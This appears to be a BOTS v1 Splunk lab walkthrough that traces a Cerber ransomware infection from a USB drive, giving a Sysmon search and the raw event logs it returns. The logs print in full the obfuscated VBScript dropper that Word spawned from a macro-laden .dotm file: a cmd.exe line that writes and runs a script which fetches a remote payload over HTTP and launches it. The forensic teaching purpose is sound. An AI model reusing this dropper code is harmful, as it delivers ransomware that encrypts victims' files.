# After the USB insertion, a file execution occurs that is the initial Cerber infection. This file execution creates two additional processes. What is the name of the file?

## Background

When we are dealing with Windows hosts and looking at processes starting, we can view both Windows event logs and Sysmon for more information. Sysmon provides very robust logging so let ' s start with this data source. If we don't find anything, we can try another data source. We also know the name of the host that had the USB inserted into it. Did anything execute on it?

## Sourcetypes

XmlWinEventLog:Microsoft-Windows-Sysmon/Operational

# Finding Sysmon Events for The Infected System on an External Drive

index=botsv1 sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational host=we8105desk "d:\\" | reverse Run Search in New Tab

We can hypothesize that if a malicious file was on a USB stick that was inserted into a host, any file executions would reference file paths other than those that start with C:\. In this initial search, we see references to D:\ in our results. Remember that when searching for backslashes to add a second backslash, because a single backslash is an escape character and will cause your search to not run correctly. We can also use the reverse command to show the oldest events first.

## Identify sysmon Events Referencing a D:\ Drive

| Time | Event |
|---|---|
| 2016-08-24T16:43:12+0000 | <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Sysmon' Guid='{5770385F-C22A-43E0-BF4C-06F5698FFBD9}'/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime='2016-08-24T16:43:12.903337500Z'/><EventRecordID>362522</EventRecordID><Correlation/><Execution ProcessID='1216' ThreadID='1768'/><Channel>Microsoft-Windows-Sysmon/Operational</Channel><Computer>we8105desk.waynecorpinc.local</Computer><Security UserID='S-1-5-18'/></System><EventData><Data Name='UtcTime'>2016-08-24 16:43:12.872</Data><Data Name='ProcessGuid'>{0F2D76F0-CEA0-57BD-0000-00108D2B3000}</Data><Data Name='ProcessId'>3756</Data><Data Name='Image'>C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE</Data><Data Name='CommandLine'>"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n /f "D:\Miranda_Tate_unveiled.dotm"</Data><Data Name='CurrentDirectory'>D:\</Data><Data Name='User'>WAYNECORPINC\bob.smith</Data><Data Name='LogonGuid'>{0F2D76F0-C612-57BD-0000-002015F80600}</Data><Data Name='LogonId'>0x6f815</Data><Data Name='TerminalSessionId'>1</Data><Data Name='IntegrityLevel'>Medium</Data><Data Name='Hashes'>SHA1=6E35AE1D5B6F192109D7A752ACD939F5CA2B97A6,MD5=15E52F52ED2B8ED122FAE897119687C4,SHA256=8CFB55087FA8E4C1E7BCC580D767CF2C884C1B8C890AD240C1E7009810AF6736,IMPHASH=1B9253B101FE708768573C81F0140691</Data><Data Name='ParentProcessGuid'>{0F2D76F0-C612-57BD-0000-00103B360700}</Data><Data Name='ParentProcessId'>3496</Data><Data Name='ParentImage'>C:\Windows\explorer.exe</Data><Data Name='ParentCommandLine'>C:\Windows\Explorer.EXE</Data></EventData></Event> |

| Time | Event |
|---|---|
| 2016-08-24T16:43:21+0000 | <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Sysmon' Guid='{5770385F-C22A-43E0-BF4C-06F5698FFBD9}'/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime='2016-08-24T16:43:21.061405300Z'/><EventRecordID>362770</EventRecordID><Correlation/><Execution ProcessID='1216' ThreadID='1768'/><Channel>Microsoft-Windows-Sysmon/Operational</Channel><Computer>we8105desk.waynecorpinc.local</Computer><Security UserID='S-1-5-18'/></System><EventData><Data Name='UtcTime'>2016-08-24 16:43:21.045</Data><Data Name='ProcessGuid'>{0F2D76F0-CEA9-57BD-0000-001037FE3000}</Data><Data Name='ProcessId'>3884</Data><Data Name='Image'>C:\Windows\SysWOW64\cmd.exe</Data><Data Name='CommandLine'>cmd.exe /V /C set "GSI=%APPDATA%\%RANDOM%.vbs" &amp;&amp; (for %i in ("DIm RWRL" "FuNCtioN GNbiPp(Pt5SZ1)" "EYnt=45" "GNbiPp=AsC(Pt5SZ1)" "Xn1=52" "eNd fuNCtiON" "SUb OjrYyD9()" "J0Nepq=56" "Dim UJv,G4coQ" "LT=23" "dO WHiLE UJv&lt;&gt;3016-3015" "G4coQ=G4coQ+1" "WSCRiPt.sLEeP(11)" "LoOP" "UsZK0=85" "ENd suB" "fuNctIon J7(BLI4A3)" "K5AU=29" "J7=cHR(BLI4A3)" "XBNutM9=36" "eNd fuNCtiON" "SUb MA(QrG)" "WXCzRz=9" "Dim Jw" "Qt7=34" "Jw=TIMeR+QrG" "Do WhiLE tIMEr&lt;Jw" "WSCRipT.sleEP(6)" "LOOp" "EXdkRkH=78" "enD sUB" "fUnCTion M1p67jL(BwqIM7,Qa)" "Yi=80" "dIM KH,ChnFY,RX,Pg,C6YT(8)" "Cm=7" "C6YT(1)=107" "Rzf=58" "C6YT(5)=115" "BSKoW=10" "C6YT(4)=56" "Cwd6=35" "C6YT(7)=110" "AQ=98" "C6YT(6)=100" "Y6Cm1I=82" "C6YT(2)=103" "JH3F2i=74" "C6YT(8)=119" "JRvsG2s=76" "C6YT(3)=53" "Yh=31" "C6YT(0)=115" "GuvD=47" "Tbvf1=67" "SeT KH=cReATeObject(A9y("3C3A1D301F2D063708772930033C3C201C2D0A34203B053C0C2D", "Yo"))" "V2JR=73" "Set ChnFY=KH.GETfilE(BwqIM7)" "RGeJ=68" "SeT Pg=ChnFY.opEnASTExTstReAM(6806-6805,7273-7273)" "CtxOk=82" "seT RX=KH.cREateteXtFiLe(Qa,6566-6565,2508-2508)" "XPL9af=76" "Do uNtil Pg.aTEnDOfStReam" "RX.wRitE J7(OyVNo(GNbiPp(Pg.rEAD(6633-6632)),C6YT(0)))" "LooP" "IQz=49" "RX.cloSe" "CBR1gC7=51" "Pg.cLOSE" "PmG=64" "eNd funCTIOn" "FUNcTION Ql9zEF()" "IBL2=16" "Ql9zEF=secoND(Time)" "MUTkPNJ=41" "End FUNcTiOn" "FUnCtion A9y(Am,T1GCbB)" "CWCH9r=82" "Dim V3sl0m,F4ra,AxFE" "RLLp8R=89" "For V3sl0m=1 To (lEn(Am)/2)" "F4ra=(J7((8270-8232)) &amp; J7((5328/74))&amp;(miD(Am,(V3sl0m+V3sl0m)-1,2)))" "AxFE=(GNbiPp(mID(T1GCbB,((V3sl0m MOd Len(T1GCbB))+1),1)))" "A9y=A9y+J7(OyVNo(F4ra,AxFE))" "NeXT" "DxZ40=89" "enD fUNction" "Sub AylniN()" "N6nzb=92" "DIm GWJCk,Q3y,GKasG0" "FDu=47" "GWJCk=93961822" "UZ=32" "FoR Q3y=1 To GWJCk" "GKasG0=GKasG0+1" "neXt" "B1jq2Hk=63" "If GKasG0=GWJCk tHen" "KXso=18" "MA((-176+446))" "IP4=48" "Yq(A9y("0B3B1D44626E7E1020055D3C20230A3B0C503D31230C3700593135344D201B53772C39173D475E2826","QcOi4XA"))" "YTsWy=31" "elSe" "DO5gpmA=84" "A8=86" "EnD iF" "XyUP=64" "eND SuB" "sUB GKfD3aY(FaddNPJ)" "SDU0BLq=57" "DiM UPhqZ,KbcT" "DxejPK=88" "KbcT="Drn4AW"" "GROlc7=82" "sET UPhqZ=CREAteOBJecT(A9y("332A7B05156A211A46243629",KbcT))" "Gs0g=3" "UPhqZ.OpEn" "TF1=68" "UPhqZ.tyPE=6867-6866" "RDjmY=24" "UPhqZ.wrITe FaddNPJ" "WiFgvS=78" "UPhqZ.SaVeTOfIle RWRL,8725-8723" "AF=4" "UPhqZ.closE" "JC7sf2=1" "Cke4e" "JM=88" "EnD suB" "fuNCtIoN Yq(PDqi1)" "I0=22" "DiM YTwwO,BAU7Cz,Uv,JiYwVG,IK" "GJDnbE=32" "On ErrOR reSume NeXT" "B7bT=1" "Uv="Tk"" "ELw=73" "sEt YTwwO=CREaTeObjeCT(A9y("3C07082602241F7A383C0E3807",Uv))" "K4=62" "GAiF" "IS1cj=19" "Set Dzc0=YTwwO.eNVIrONMEnt(A9y("013B183400023A","EQiWw"))" "D9S=38" "RWRL=Dzc0(A9y("14630811720C14","XU3"))&amp;J7((8002-7910))&amp; Ql9zEF &amp; Ql9zEF" "AtCQ=95" "JiYwVG="FcQqQ"" "Tf=79" "sEt BAU7Cz=CrEATEoBjECT(A9y("2E38122329103E1725683B1C3D19123701",JiYwVG))" "QUY=56" "BAU7Cz.OpeN A9y("0D0E1E","KJ"),PDqi1,7387-7387" "JX2=58" "BAU7Cz.SeTReQuEstHeAdeR A9y("1F59242828","OM8J"),A9y("0D354C3D356B567A0F6B6B","VoL8XF")" "URkT=71" "BAU7Cz.SEnD()" "QdFeA6=65" "if BAU7Cz.StaTUstExt=A9y("652840353A542512023C5B3D572F27","S5I2A") then" "PwTLW23=36" "GAiF" "R4xYBS=63" "MA(4)" "PjL6m=46" "GKfD3aY BAU7Cz.ReSpONSEbody" "Fj98=72" "Else" "D7T=91" "IK="NNXFD0"" "NK=74" "SeT BAU7Cz= CreATeobJECT(A9y("033125365F3D213E326A68030210121060",IK))" "QJ=35" "BAU7Cz.oPeN A9y("2A2F0E","TmjZ8d"),A9y("07351B31556E40785D6F5D735D6F5E715B6F5E795D6E02291B33412B1F26","Ao" ),5022-5022" "UMp8=85" "BAU7Cz.SeTReqUesTheadER A9y("1439190A24","AFXwm"),A9y("371038301A716C5F7B6644","LUi")" "NluUc=93" "BAU7Cz.SENd()" "EOtR=44" "If BAU7Cz.STaTUSTexT=A9y("03510A3B3A51146F105F163B365E0C","OS0x") THen GKfD3aY BAU7Cz.REsPOnSeBODY" "Q6sMEZ=54" "I9Nl7=56" "end if" "Dq=54" "eND FuNCTioN" "fUNctIon OyVNo(U1,Brt0d)" "SNOW=59" "OyVNo=(U1 ANd noT Brt0d)oR(NOt U1 And Brt0d)" "QTi5K=54" "enD funcTION" "Sub Cke4e()" "WTOyAw=62" "dIM EuM,WIbud,NCiN,Fs8HJ" "A5AT=92" "NCiN=""""" "SX6=93" "WIbud=RWRL &amp; Ql9zEF &amp; A9y("4A330F3F","WdGbOGp")" "V5B7Zh=92" "M1p67jL RWRL,WIbud" "L13=45" "iF Fs8HJ="" tHen MA(4)" "CHaK=38" "EuM="Iqxkf"" "U56m=67" "SEt VP=creATeoBJEcT(A9y("262B081420010C453521141407",EuM))" "U5Quw=85" "VP.Run A9y("1023287B163629755C0D6C06270F1E01536C6E7551","UsNL") &amp; WIbud &amp; NCiN,2912-2912,5755-5755" "A6mfcYL=76" "End sUB" "JoxZ3=43" "AylniN" "suB GAiF()" "G4vzM=95" "Dim DCRml9g, CjoNOY9" "For DCRml9g = 68 To 6000327" "CjoNOY9 = Rvwr + 23 + 35 + 27" "Next" "KK0H=46" "enD sUb") do @echo %~i)&gt;"!GSI!" &amp;&amp; start "" "!GSI!"</Data><Data Name='CurrentDirectory'>D:\</Data><Data Name='User'>WAYNECORPINC\bob.smith</Data><Data Name='LogonGuid'>{0F2D76F0-C612-57BD-0000-002015F80600}</Data><Data Name='LogonId'>0x6f815</Data><Data Name='TerminalSessionId'>1</Data><Data Name='IntegrityLevel'>Medium</Data><Data Name='Hashes'>SHA1=EE8CBF12D87C4D388F09B4F69BED2E91682920B5,MD5=AD7B9C14083B52BC532FBA5948342B98,SHA256=17F746D82695FA9B35493B41859D39D786D32B23A9D2E00F4011DEC7A02402AE,IMPHASH=CEEFB55F764020CC5C5F8F23349AB163</Data><Data Name='ParentProcessGuid'>{0F2D76F0-CEA0-57BD-0000-00108D2B3000}</Data><Data Name='ParentProcessId'>3756</Data><Data Name='ParentImage'>C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE</Data><Data Name='ParentCommandLine'>"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n /f "D:\Miranda_Tate_unveiled.dotm"</Data></EventData></Event> |

| Time | Event |
|---|---|
| 2016-08-24T16:43:21+0000 | <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Sysmon' Guid='{5770385F-C22A-43E0-BF4C-06F5698FFBD9}'/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime='2016-08-24T16:43:21.232989900Z'/><EventRecordID>362847</EventRecordID><Correlation/><Execution ProcessID='1216' ThreadID='1768'/><Channel>Microsoft-Windows-Sysmon/Operational</Channel><Computer>we8105desk.waynecorpinc.local</Computer><Security UserID='S-1-5-18'/></System><EventData><Data Name='UtcTime'>2016-08-24 16:43:21.232</Data><Data Name='ProcessGuid'>{0F2D76F0-CEA9-57BD-0000-0010C8133100}</Data><Data Name='ProcessId'>3968</Data><Data Name='Image'>C:\Windows\SysWOW64\wscript.exe</Data><Data Name='CommandLine'>"C:\Windows\System32\WScript.exe" "C:\Users\bob.smith.WAYNECORPINC\AppData\Roaming\20429.vbs" </Data><Data Name='CurrentDirectory'>D:\</Data><Data Name='User'>WAYNECORPINC\bob.smith</Data><Data Name='LogonGuid'>{0F2D76F0-C612-57BD-0000-002015F80600}</Data><Data Name='LogonId'>0x6f815</Data><Data Name='TerminalSessionId'>1</Data><Data Name='IntegrityLevel'>Medium</Data><Data Name='Hashes'>SHA1=860265276B29B42B8C4B077E5C651DEF9C81B6E9,MD5=D1AB72DB2BEDD2F255D35DA3DA0D4B16,SHA256=047F3C5A7AB0EA05F35B2CA8037BF62DD4228786D07707064DBD0D46569305D0,IMPHASH=62EA1D2DA2B1481E969D080A6B29D775</Data><Data Name='ParentProcessGuid'>{0F2D76F0-CEA9-57BD-0000-001037FE3000}</Data><Data Name='ParentProcessId'>3884</Data><Data Name='ParentImage'>C:\Windows\SysWOW64\cmd.exe</Data><Data Name='ParentCommandLine'>cmd.exe /V /C set "GSI=%APPDATA%\%RANDOM%.vbs" &amp;&amp; (for %i in ("DIm RWRL" "FuNCtioN GNbiPp(Pt5SZ1)" "EYnt=45" "GNbiPp=AsC(Pt5SZ1)" "Xn1=52" "eNd fuNCtiON" "SUb OjrYyD9()" "J0Nepq=56" "Dim UJv,G4coQ" "LT=23" "dO WHiLE UJv&lt;&gt;3016-3015" "G4coQ=G4coQ+1" "WSCRiPt.sLEeP(11)" "LoOP" "UsZK0=85" "ENd suB" "fuNctIon J7(BLI4A3)" "K5AU=29" "J7=cHR(BLI4A3)" "XBNutM9=36" "eNd fuNCtiON" "SUb MA(QrG)" "WXCzRz=9" "Dim Jw" "Qt7=34" "Jw=TIMeR+QrG" "Do WhiLE tIMEr&lt;Jw" "WSCRipT.sleEP(6)" "LOOp" "EXdkRkH=78" "enD sUB" "fUnCTion M1p67jL(BwqIM7,Qa)" "Yi=80" "dIM KH,ChnFY,RX,Pg,C6YT(8)" "Cm=7" "C6YT(1)=107" "Rzf=58" "C6YT(5)=115" "BSKoW=10" "C6YT(4)=56" "Cwd6=35" "C6YT(7)=110" "AQ=98" "C6YT(6)=100" "Y6Cm1I=82" "C6YT(2)=103" "JH3F2i=74" "C6YT(8)=119" "JRvsG2s=76" "C6YT(3)=53" "Yh=31" "C6YT(0)=115" "GuvD=47" "Tbvf1=67" "SeT KH=cReATeObject(A9y("3C3A1D301F2D063708772930033C3C201C2D0A34203B053C0C2D", "Yo"))" "V2JR=73" "Set ChnFY=KH.GETfilE(BwqIM7)" "RGeJ=68" "SeT Pg=ChnFY.opEnASTExTstReAM(6806-6805,7273-7273)" "CtxOk=82" "seT RX=KH.cREateteXtFiLe(Qa,6566-6565,2508-2508)" "XPL9af=76" "Do uNtil Pg.aTEnDOfStReam" "RX.wRitE J7(OyVNo(GNbiPp(Pg.rEAD(6633-6632)),C6YT(0)))" "LooP" "IQz=49" "RX.cloSe" "CBR1gC7=51" "Pg.cLOSE" "PmG=64" "eNd funCTIOn" "FUNcTION Ql9zEF()" "IBL2=16" "Ql9zEF=secoND(Time)" "MUTkPNJ=41" "End FUNcTiOn" "FUnCtion A9y(Am,T1GCbB)" "CWCH9r=82" "Dim V3sl0m,F4ra,AxFE" "RLLp8R=89" "For V3sl0m=1 To (lEn(Am)/2)" "F4ra=(J7((8270-8232)) &amp; J7((5328/74))&amp;(miD(Am,(V3sl0m+V3sl0m)-1,2)))" "AxFE=(GNbiPp(mID(T1GCbB,((V3sl0m MOd Len(T1GCbB))+1),1)))" "A9y=A9y+J7(OyVNo(F4ra,AxFE))" "NeXT" "DxZ40=89" "enD fUNction" "Sub AylniN()" "N6nzb=92" "DIm GWJCk,Q3y,GKasG0" "FDu=47" "GWJCk=93961822" "UZ=32" "FoR Q3y=1 To GWJCk" "GKasG0=GKasG0+1" "neXt" "B1jq2Hk=63" "If GKasG0=GWJCk tHen" "KXso=18" "MA((-176+446))" "IP4=48" "Yq(A9y("0B3B1D44626E7E1020055D3C20230A3B0C503D31230C3700593135344D201B53772C39173D475E2826","QcOi4XA"))" "YTsWy=31" "elSe" "DO5gpmA=84" "A8=86" "EnD iF" "XyUP=64" "eND SuB" "sUB GKfD3aY(FaddNPJ)" "SDU0BLq=57" "DiM UPhqZ,KbcT" "DxejPK=88" "KbcT="Drn4AW"" "GROlc7=82" "sET UPhqZ=CREAteOBJecT(A9y("332A7B05156A211A46243629",KbcT))" "Gs0g=3" "UPhqZ.OpEn" "TF1=68" "UPhqZ.tyPE=6867-6866" "RDjmY=24" "UPhqZ.wrITe FaddNPJ" "WiFgvS=78" "UPhqZ.SaVeTOfIle RWRL,8725-8723" "AF=4" "UPhqZ.closE" "JC7sf2=1" "Cke4e" "JM=88" "EnD suB" "fuNCtIoN Yq(PDqi1)" "I0=22" "DiM YTwwO,BAU7Cz,Uv,JiYwVG,IK" "GJDnbE=32" "On ErrOR reSume NeXT" "B7bT=1" "Uv="Tk"" "ELw=73" "sEt YTwwO=CREaTeObjeCT(A9y("3C07082602241F7A383C0E3807",Uv))" "K4=62" "GAiF" "IS1cj=19" "Set Dzc0=YTwwO.eNVIrONMEnt(A9y("013B183400023A","EQiWw"))" "D9S=38" "RWRL=Dzc0(A9y("14630811720C14","XU3"))&amp;J7((8002-7910))&amp; Ql9zEF &amp; Ql9zEF" "AtCQ=95" "JiYwVG="FcQqQ"" "Tf=79" "sEt BAU7Cz=CrEATEoBjECT(A9y("2E38122329103E1725683B1C3D19123701",JiYwVG))" "QUY=56" "BAU7Cz.OpeN A9y("0D0E1E","KJ"),PDqi1,7387-7387" "JX2=58" "BAU7Cz.SeTReQuEstHeAdeR A9y("1F59242828","OM8J"),A9y("0D354C3D356B567A0F6B6B","VoL8XF")" "URkT=71" "BAU7Cz.SEnD()" "QdFeA6=65" "if BAU7Cz.StaTUstExt=A9y("652840353A542512023C5B3D572F27","S5I2A") then" "PwTLW23=36" "GAiF" "R4xYBS=63" "MA(4)" "PjL6m=46" "GKfD3aY BAU7Cz.ReSpONSEbody" "Fj98=72" "Else" "D7T=91" "IK="NNXFD0"" "NK=74" "SeT BAU7Cz= CreATeobJECT(A9y("033125365F3D213E326A68030210121060",IK))" "QJ=35" "BAU7Cz.oPeN A9y("2A2F0E","TmjZ8d"),A9y("07351B31556E40785D6F5D735D6F5E715B6F5E795D6E02291B33412B1F26","Ao" ),5022-5022" "UMp8=85" "BAU7Cz.SeTReqUesTheadER A9y("1439190A24","AFXwm"),A9y("371038301A716C5F7B6644","LUi")" "NluUc=93" "BAU7Cz.SENd()" "EOtR=44" "If BAU7Cz.STaTUSTexT=A9y("03510A3B3A51146F105F163B365E0C","OS0x") THen GKfD3aY BAU7Cz.REsPOnSeBODY" "Q6sMEZ=54" "I9Nl7=56" "end if" "Dq=54" "eND FuNCTioN" "fUNctIon OyVNo(U1,Brt0d)" "SNOW=59" "OyVNo=(U1 ANd noT Brt0d)oR(NOt U1 And Brt0d)" "QTi5K=54" "enD funcTION" "Sub Cke4e()" "WTOyAw=62" "dIM EuM,WIbud,NCiN,Fs8HJ" "A5AT=92" "NCiN=""""""" "SX6=93" "WIbud=RWRL &amp; Ql9zEF &amp; A9y("4A330F3F","WdGbOGp")" "V5B7Zh=92" "M1p67jL RWRL,WIbud" "L13=45" "iF Fs8HJ="" tHen MA(4)" "CHaK=38" "EuM="Iqxkf"" "U56m=67" "SEt VP=creATeoBJEcT(A9y("262B081420010C453521141407",EuM))" "U5Quw=85" "VP.Run A9y("1023287B163629755C0D6C06270F1E01536C6E7551","UsNL") &amp; WIbud &amp; NCiN,2912-2912,5755-5755" "A6mfcYL=76" "End sUB" "JoxZ3=43" "AylniN" "suB GAiF()" "G4vzM=95" "Dim DCRml9g, CjoNOY9" "For DCRml9g = 68 To 6000327" "CjoNOY9 = Rvwr + 23 + 35 + 27" "Next" "KK0H=46" "enD sUb") do @echo %~i)&gt;"!GSI!" &amp;&amp; start "" "!GSI!"</Data></EventData></Event> |

| Time | Event |
|---|---|
| 2016-08-24T16:43:27+0000 | <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Sysmon' Guid='{5770385F-C22A-43E0-BF4C-06F5698FFBD9}'/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime='2016-08-24T16:43:27.628415900Z'/><EventRecordID>362908</EventRecordID><Correlation/><Execution ProcessID='1216' ThreadID='1768'/><Channel>Microsoft-Windows-Sysmon/Operational</Channel><Computer>we8105desk.waynecorpinc.local</Computer><Security UserID='S-1-5-18'/></System><EventData><Data Name='UtcTime'>2016-08-24 16:43:27.628</Data><Data Name='ProcessGuid'>{0F2D76F0-CEAF-57BD-0000-001080293100}</Data><Data Name='ProcessId'>1420</Data><Data Name='Image'>C:\Windows\splwow64.exe</Data><Data Name='CommandLine'>C:\Windows\splwow64.exe 8192</Data><Data Name='CurrentDirectory'>C:\Windows\</Data><Data Name='User'>WAYNECORPINC\bob.smith</Data><Data Name='LogonGuid'>{0F2D76F0-C612-57BD-0000-002015F80600}</Data><Data Name='LogonId'>0x6f815</Data><Data Name='TerminalSessionId'>1</Data><Data Name='IntegrityLevel'>Medium</Data><Data Name='Hashes'>SHA1=4ABC063D21E6F85756AB02C98439E45204087959,MD5=D01628AF9F7FB3F415B357D446FBE6D9,SHA256=232F4854A70CFA982352C3EEBC7E308755AAC8E1A9DC5352711243DEF1F4B096,IMPHASH=869B8922E190496420788970E941EA97</Data><Data Name='ParentProcessGuid'>{0F2D76F0-CEA0-57BD-0000-00108D2B3000}</Data><Data Name='ParentProcessId'>3756</Data><Data Name='ParentImage'>C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE</Data><Data Name='ParentCommandLine'>"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n /f "D:\Miranda_Tate_unveiled.dotm"</Data></EventData></Event> |
| 2016-08-24T16:48:21+0000 | <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Sysmon' Guid='{5770385F-C22A-43E0-BF4C-06F5698FFBD9}'/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime='2016-08-24T16:48:21.552726900Z'/><EventRecordID>364394</EventRecordID><Correlation/><Execution ProcessID='1216' ThreadID='1768'/><Channel>Microsoft-Windows-Sysmon/Operational</Channel><Computer>we8105desk.waynecorpinc.local</Computer><Security UserID='S-1-5-18'/></System><EventData><Data Name='UtcTime'>2016-08-24 16:48:21.537</Data><Data Name='ProcessGuid'>{0F2D76F0-CFD5-57BD-0000-0010E3AC3400}</Data><Data Name='ProcessId'>1476</Data><Data Name='Image'>C:\Windows\SysWOW64\cmd.exe</Data><Data Name='CommandLine'>"C:\Windows\System32\cmd.exe" /C START "" "C:\Users\bob.smith.WAYNECORPINC\AppData\Roaming\121214.tmp"</Data><Data Name='CurrentDirectory'>D:\</Data><Data Name='User'>WAYNECORPINC\bob.smith</Data><Data Name='LogonGuid'>{0F2D76F0-C612-57BD-0000-002015F80600}</Data><Data Name='LogonId'>0x6f815</Data><Data Name='TerminalSessionId'>1</Data><Data Name='IntegrityLevel'>Medium</Data><Data Name='Hashes'>SHA1=EE8CBF12D87C4D388F09B4F69BED2E91682920B5,MD5=AD7B9C14083B52BC532FBA5948342B98,SHA256=17F746D82695FA9B35493B41859D39D786D32B23A9D2E00F4011DEC7A02402AE,IMPHASH=CEEFB55F764020CC5C5F8F23349AB163</Data><Data Name='ParentProcessGuid'>{0F2D76F0-CEA9-57BD-0000-0010C8133100}</Data><Data Name='ParentProcessId'>3968</Data><Data Name='ParentImage'>C:\Windows\SysWOW64\wscript.exe</Data><Data Name='ParentCommandLine'>"C:\Windows\System32\WScript.exe" "C:\Users\bob.smith.WAYNECORPINC\AppData\Roaming\20429.vbs" </Data></EventData></Event> |
| 2016-08-24T16:48:21+0000 | <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Sysmon' Guid='{5770385F-C22A-43E0-BF4C-06F5698FFBD9}'/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime='2016-08-24T16:48:21.786717900Z'/><EventRecordID>364446</EventRecordID><Correlation/><Execution ProcessID='1216' ThreadID='1768'/><Channel>Microsoft-Windows-Sysmon/Operational</Channel><Computer>we8105desk.waynecorpinc.local</Computer><Security UserID='S-1-5-18'/></System><EventData><Data Name='UtcTime'>2016-08-24 16:48:21.786</Data><Data Name='ProcessGuid'>{0F2D76F0-CFD5-57BD-0000-00108BB43400}</Data><Data Name='ProcessId'>2948</Data><Data Name='Image'>C:\Users\bob.smith.WAYNECORPINC\AppData\Roaming\121214.tmp</Data><Data Name='CommandLine'>"C:\Users\bob.smith.WAYNECORPINC\AppData\Roaming\121214.tmp" </Data><Data Name='CurrentDirectory'>D:\</Data><Data Name='User'>WAYNECORPINC\bob.smith</Data><Data Name='LogonGuid'>{0F2D76F0-C612-57BD-0000-002015F80600}</Data><Data Name='LogonId'>0x6f815</Data><Data Name='TerminalSessionId'>1</Data><Data Name='IntegrityLevel'>Medium</Data><Data Name='Hashes'>SHA1=C8F3F0A33EFE38E9296EF79552C4CADF6CF0BDE6,MD5=EE0828A4E4C195D97313BFC7D4B531F1,SHA256=37397F8D8E4B3731749094D7B7CD2CF56CACB12DD69E0131F07DD78DFF6F262B,IMPHASH=E160EF8E55BB9D162DA4E266AFD9EEF3</Data><Data Name='ParentProcessGuid'>{0F2D76F0-CFD5-57BD-0000-0010E3AC3400}</Data><Data Name='ParentProcessId'>1476</Data><Data Name='ParentImage'>C:\Windows\SysWOW64\cmd.exe</Data><Data Name='ParentCommandLine'>"C:\Windows\System32\cmd.exe" /C START "" "C:\Users\bob.smith.WAYNECORPINC\AppData\Roaming\121214.tmp"</Data></EventData></Event> |
| 2016-08-24T16:56:47+0000 | <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Sysmon' Guid='{5770385F-C22A-43E0-BF4C-06F5698FFBD9}'/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime='2016-08-24T16:56:47.447600500Z'/><EventRecordID>402742</EventRecordID><Correlation/><Execution ProcessID='1216' ThreadID='1768'/><Channel>Microsoft-Windows-Sysmon/Operational</Channel><Computer>we8105desk.waynecorpinc.local</Computer><Security UserID='S-1-5-18'/></System><EventData><Data Name='UtcTime'>2016-08-24 16:56:47.447</Data><Data Name='ProcessGuid'>{0F2D76F0-D1CF-57BD-0000-001034E24900}</Data><Data Name='ProcessId'>4928</Data><Data Name='Image'>C:\Windows\System32\rundll32.exe</Data><Data Name='CommandLine'>"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL D:\Work Stuff\013\013366.pdf</Data><Data Name='CurrentDirectory'>D:\Work Stuff\013\</Data><Data Name='User'>WAYNECORPINC\bob.smith</Data><Data Name='LogonGuid'>{0F2D76F0-C612-57BD-0000-002015F80600}</Data><Data Name='LogonId'>0x6f815</Data><Data Name='TerminalSessionId'>1</Data><Data Name='IntegrityLevel'>Medium</Data><Data Name='Hashes'>SHA1=963B55ACC8C566876364716D5AAFA353995812A8,MD5=DD81D91FF3B0763C392422865C9AC12E,SHA256=F5691B8F200E3196E6808E932630E862F8F26F31CD949981373F23C9D87DB8B9,IMPHASH=F8F47A970BADB255F8249475E7FBEABB</Data><Data Name='ParentProcessGuid'>{0F2D76F0-C612-57BD-0000-00103B360700}</Data><Data Name='ParentProcessId'>3496</Data><Data Name='ParentImage'>C:\Windows\explorer.exe</Data><Data Name='ParentCommandLine'>C:\Windows\Explorer.EXE</Data></EventData></Event> |

| Time | Event |
|---|---|
| 2016-08-24T16:56:51+0000 | <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Sysmon' Guid='{5770385F-C22A-43E0-BF4C-06F5698FFBD9}'/><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime='2016-08-24T16:56:51.768772800Z'/><EventRecordID>402788</EventRecordID><Correlation/><Execution ProcessID='1216' ThreadID='1768'/><Channel>Microsoft-Windows-Sysmon/Operational</Channel><Computer>we8105desk.waynecorpinc.local</Computer><Security UserID='S-1-5-18'/></System><EventData><Data Name='UtcTime'>2016-08-24 16:56:51.737</Data><Data Name='ProcessGuid'>{0F2D76F0-D1D3-57BD-0000-001058F04900}</Data><Data Name='ProcessId'>4576</Data><Data Name='Image'>C:\Program Files (x86)\Internet Explorer\iexplore.exe</Data><Data 